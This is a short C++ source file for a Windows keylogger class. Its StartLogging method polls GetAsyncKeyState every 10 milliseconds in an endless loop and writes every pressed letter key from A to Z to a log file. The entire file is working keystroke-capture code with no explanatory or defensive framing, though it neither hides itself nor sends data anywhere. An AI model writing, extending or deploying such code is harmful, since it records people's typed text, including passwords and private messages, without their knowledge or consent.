#include "KeyLogger.h"
#include <iostream>
#include <fstream>
#include <Windows.h>

using namespace std;

KeyLogger::KeyLogger(string filepath) {
    this->logFile.open(filepath);
}

KeyLogger::~KeyLogger() {
    this->logFile.close();
}

void KeyLogger::StartLogging() {
    const short pressedState = (1 << 15) | 1;

    while (true) {
        Sleep(10);

        // Iterate through all virtual key codes
        for (char i = 'A'; i <= 'Z'; i++) {
            if (GetAsyncKeyState(i) == pressedState)
            {
                logFile << i;
            }
        }
    }
}